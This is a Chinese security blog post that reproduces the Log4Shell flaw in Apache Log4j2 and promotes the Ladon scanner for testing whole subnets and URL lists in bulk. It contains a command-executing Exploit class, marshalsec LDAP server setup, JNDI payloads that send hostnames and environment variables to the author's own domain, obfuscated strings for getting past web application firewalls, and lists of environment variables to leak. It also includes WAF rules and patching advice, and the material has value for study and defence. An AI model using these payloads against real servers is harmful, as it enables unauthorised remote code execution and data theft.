logo

K8哥哥

没有绝对安全的系统

〖工具〗log4Shell核弹级漏洞复现&Ladon批量检测

本文于 1065 天之前发表

漏洞简介

Apache Log4j2是一款优秀的Java日志框架。近日,漏洞银行安全团队注意到了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

漏洞原理

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

影响版本

Apache Log4j 2.0 <= 2.15.0-rc1

影响产品

1
2
3
4
5
6
7
8
9
10
11
12
13
Apache Struts
Apache Struts 2
Apache Solr
Apache Druid
Apache Flink
Apache Spark
Apache Tomcat
ElasticSearch
Flume
Apache Dubbo
Logstash
Kafka
Spring-Boot-starter-log4j2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RedHat     Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected.     https://access.redhat.com/security/cve/cve-2021-4

Jenkins Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.

https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/

https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-416946

Apache Solr Apache Solr releases prior to 7.4 are affected. https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228

VMWare Multiple products are affected. https://www.vmware.com/security/advisories/VMSA-2021-0028.html

Citrix Investigation pending https://support.citrix.com/article/CTX335705

Atlassian Atlassian is vulnerable if the default configuration was modified. https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html

NetApp Multiple NetApp products are vulnerable. https://security.netapp.com/advisory/ntap-20211210-0007/

PS: 除了本文列的这些产品,还有很多产品受到影响,具体可Google搜漏洞编号加产品名称,若是官方公告注明哪些版本修复漏洞或哪些版本测试存在漏洞,就代表该产品受到影响,不用你一个个搭环境测试,先不说搭各种环境费时间,就算搭好了触发点在哪,你也得测好长时间,所以要善用搜索引擎。

漏洞环境1

使用IDEA新建项目,漏洞示例代码如下

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
//logger.error("${jndi:ldap://192.168.250.83:800/calc}");
logger.error("${jndi:rmi://192.168.250.83:800/calc}");
}
}

漏洞复现1

启用Ladon的web监听,编译执行Poc项目,可看到Ladon回显目标IP以及提交的数据,Ldap出现一些特殊符号,最明显的是几个笑脸,Rmi回显前几个字符串为JRMI,回显以下特征说明目标存在jdni注入漏洞。

1
Ladon web 800

其实也不是非要jndi来远程测试漏洞,log4j也支持java获取信息环境变量等,本地APP需要测试还好,实战是盲测,不像本地可以后台看,实战你只能外带,所以才用到jndi协议,有些人问为什么不用其它协议,因为受漏洞限制只能jndi协议,利用你就得看jndi支持什么协议,你才能利用什么协议。如以下代码,编译项目执行,会输出版本和操作系统信息。

1
logger.error("${java:version}/${java:os}");

也可使用以下协议探测

1
2
3
4
5
${jndi:ldap:/}
${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}

漏洞环境2

使用docker搭建环境,这样可模拟从内网另一台机来攻击该机器

docker pull vulfocus/log4j2-rce-2021-12-09:latest

启动环境2

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

漏洞复现2

由于不知道漏洞触发点,使用LadonExp.exe盲测,发现注入点为Accept参数,测试方法所有参数均填写payload,目标URL填写需要测试的站点,点击Build_Exe,然后点击Test_exe测试即可。

改成rmi协议时,发现无法触发,于是看了下环境的JDK版本,发现是292的,JDK1.8 191起默认不支持RMI协议,所以用rmi测试失败。

1
2
3
4
root@4e4424eccb8d:/demo# java -version
openjdk version "1.8.0_292"
OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1~18.04-b10)
OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)
以下协议自行测试
1
2
3
4
5
6
7
8
9
10
11
12
13
${date:ldap://
${java:ldap://
${marker:ldap://
${ctx:ldap://
${lower:ldap://
${upper:ldap://
${jndi:ldap://
${jndi:rmi://
${main:ldap://
${jvmrunargs:ldap://
${sys:ldap://
${env:ldap://
${log4j:ldap://

批量检测C段

将LadonExp生成的exe改名为log4poc.exe,使用以下命令即可批量检测C段站点是否存在log4j的jndi注入漏洞。

1
Ladon 192.168.1.1/c log4poc.exe

批量检测url.txt

提供你已找好使用JAVA开发的站点URL,存放于url.txt,使用以下命令检测

1
Ladon url.txt log4poc.exe

PS: 有人说Ladon为什么不提供log4j漏洞检测,实际上早提供了,之前我不是发过好几篇使用LadonExp一键生成漏洞Poc的演示文章吗?不需要懂编程,只要懂漏洞原理,抓别人的包,填写对应参数,就可快速实战批量使用新的POC,这技能你们都不学,错过了最佳时期别怪我啊…

Exploit

使用JAVA编译exp.java生成我们的反序列化类Exploit.class,放在Ladon目录下,使用Ladon web 800一键开启渗透专用迷你web服务器。演示代码为弹出计算器,实战自行修改代码实现任意功能,不只是执行CMD。要知道所谓CMD命令也是由各编程语言的代码编译成EXE后才是你所使用的命令,代码执行可做CMD做不了的很多事,这是代码执行和命令执行的最大区别。本漏洞主要是受限于触发的jndi协议限制,不能本地内部执行代码或命令,需远程加载,实际上也能执行些简短代码的,如漏洞环境1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//javac exp.java

class Exploit {

static {

System.err.println("k8gege");

try {

String test= "calc";

Runtime.getRuntime().exec(test);

} catch ( Exception e ) {

e.printStackTrace();

}

}

}

启动Ladp服务器

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.250.83:800/#Exploit"

将漏洞复现1的POC代码修改,指向我们的ldap服务器,编译执行弹出calc

Payload

1
2
${jndi:ldap://${hostName}.log4shell.k8gege.org}
${jndi:rmi://${hostName}.log4shell.k8gege.org}

Ladon监听

${jndi:ldap://192.168.1.8:800/test}
${jndi:rmi://192.168.1.8:800/test}

DNS协议

1
2
3
${jndi:dns://${hostName}.log4shell.k8gege.org}
${jndi:dns://${env:COMPUTERNAME}.log4shell.k8gege.org}
${jndi:dns://${env:USERDOMAIN}.log4shell.k8gege.org}

WAF拦截规则

应急时可能WAF使用以下特征拦截,很明显治标不治本,只能暂时缓解

1
2
3
4
5
6
7
8
9
10
11
12
13
${date:ldap://
${java:ldap://
${marker:ldap://
${ctx:ldap://
${lower:ldap://
${upper:ldap://
${jndi:ldap://
${jndi:rmi://
${main:ldap://
${jvmrunargs:ldap://
${sys:ldap://
${env:ldap://
${log4j:ldap://

Bypass RC1

1
${jndi:ldap://127.0.0.1:1389/ badClassName}

Bypass WAF

1
2
3
4
5
6
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}
${${::-j}ndi:rmi://k123.k123.k123/ass}
${jndi:rmi://k8.k123.k123}
${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}
${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}

该漏洞利用条件

Log4j2版本Log4j 2.0 <= 2.15.0-rc1,并非有调用log4j就有洞

JDK版本限制,jdk8u191之后RMI和LDAP默认不能从远程加载类

可能产生日志记录的地方,用户登陆日志记录啊,UserAgent、Cookie等,谁知道网站开发者想记录用户什么数据?不确定的情况下,盲测但凡有参数的地方,我们都可以尝试,或许有惊喜。

目标允许出网,不能出网,存在洞你也不知道,除非你已进入内网,通过Ladon在内网监听,测试内网站点是否存在jndi漏洞。假设机器只允许dns出网,使用Dnslog探测存在漏洞,TCP协议出不了,ldap、rmi等无法加载class,你也拿不了shell啊,存在洞和能拿权限是两回事。

PS: 该漏洞说大影响大嘛也是真的非常大,但说它鸡肋也鸡肋,因为我的目标就没一个成功的,或许存在洞的机器早已通过其它洞拿下,

有些人问为什么不用dnslog?

你喜欢用dnslog的话也可以,没什么问题,只是这几天这洞玩的人太多,dnslog经常卡死,无法使用,这是第一个原因。其次使用dnslog,意味着我们的目标或者说正在测试只有内部人知道公司某些服务器使用log4j,若是别人也随机到和你相同的域名,你们公司存在漏洞的站点IP泄露出去,会是什么后果?使用自己的VPS来搭建的接收器才是最安全的,当然ldap或rmi协议出不来的话,就只能用dnslog来接收dns协议,因为Ladon无法监听DNS协议,当然要是你要时间也可以完全自己搭个DNS服务器还接收。

为什么Ladon能监听LDAP、RMI?

为什么ldap、rmi、http等协议Ladon可以监听到,因为它们本身就是特殊的tcp协议,所以Ladon当然能捕获到。初中有没学过正方形是特殊的长方形,就是说你把正方形说成长方形也没错,Ladon虽然主要只是解析HTTP协议,但也没完全对其它协议进行丢弃,只要对前面部份数据16进制原样解析还是会看到一些明显的字眼如JRMI协议,所以Ladon对于一些非HTTP协议也可以从控制台看出来,同理以后其它无回显漏洞也可以使用Ladon监听,之前我也发过3篇文章,Linux无回显渗透、Java无回显渗透、PowerShell等,大家一定要学会举一反三,不要非要等别人告诉你,你才知道在这种场景也能用。

漏洞修复

方案一

更新至官方修复版本

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

方案二

①在jvm启动参数中添加

Dlog4j2.formatMsgNoLookups=true
②系统环境变量中配置FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
③项目中创建log4j2.component.properties文件,文件中增加配置log4j2.formatMsgNoLookups=true

Log4j-JAVA

系统信息

1
2
3
4
5
6
7
ID     usage     method
1 ${java:version} getSystemProperty("java.version")
2 ${java:runtime} getRuntime()
3 ${java:vm} getVirtualMachine()
4 ${java:os} getOperatingSystem()
5 ${java:hw} getHardware()
6 ${java:locale} getLocale()

环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
id     usage
1 ${env:A8_HOME}
2 ${env:A8_ROOT_BIN}
3 ${env:ALLUSERSPROFILE}
4 ${env:APPDATA}
5 ${env:CATALINA_BASE}
6 ${env:CATALINA_HOME}
7 ${env:CATALINA_OPTS}
8 ${env:CATALINA_TMPDIR}
9 ${env:CLASSPATH}
10 ${env:CLIENTNAME}
11 ${env:COMPUTERNAME}
12 ${env:ComSpec}
13 ${env:CommonProgramFiles}
14 ${env:CommonProgramFiles(x86)}
15 ${env:CommonProgramW6432}
16 ${env:FP_NO_HOST_CHECK}
17 ${env:HOMEDRIVE}
18 ${env:HOMEPATH}
19 ${env:JRE_HOME}
20 ${env:Java_Home}
21 ${env:LOCALAPPDATA}
22 ${env:LOGONSERVER}
23 ${env:NUMBER_OF_PROCESSORS}
24 ${env:OS}
25 ${env:PATHEXT}
26 ${env:PROCESSOR_ARCHITECTURE}
27 ${env:PROCESSOR_IDENTIFIER}
28 ${env:PROCESSOR_LEVEL}
29 ${env:PROCESSOR_REVISION}
30 ${env:PROMPT}
31 ${env:PSModulePath}
32 ${env:PUBLIC}
33 ${env:Path}
34 ${env:ProgramData}
35 ${env:ProgramFiles}
36 ${env:ProgramFiles(x86)}
37 ${env:ProgramW6432}
38 ${env:SESSIONNAME}
39 ${env:SystemDrive}
40 ${env:SystemRoot}
41 ${env:TEMP}
42 ${env:TMP}
43 ${env:ThisExitCode}
44 ${env:USERDOMAIN}
45 ${env:USERNAME}
46 ${env:USERPROFILE}
47 ${env:WORK_PATH}
48 ${env:windir}
49 ${env:windows_tracing_flags}
50 ${env:windows_tracing_logfile}

Ladon下载

LadonGo 3.8: https://github.com/k8gege/LadonGo
PowerLadon: https://github.com/k8gege/PowerLadon
历史版本: http://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
9.1版本:K8小密圈

扫码加入K8小密圈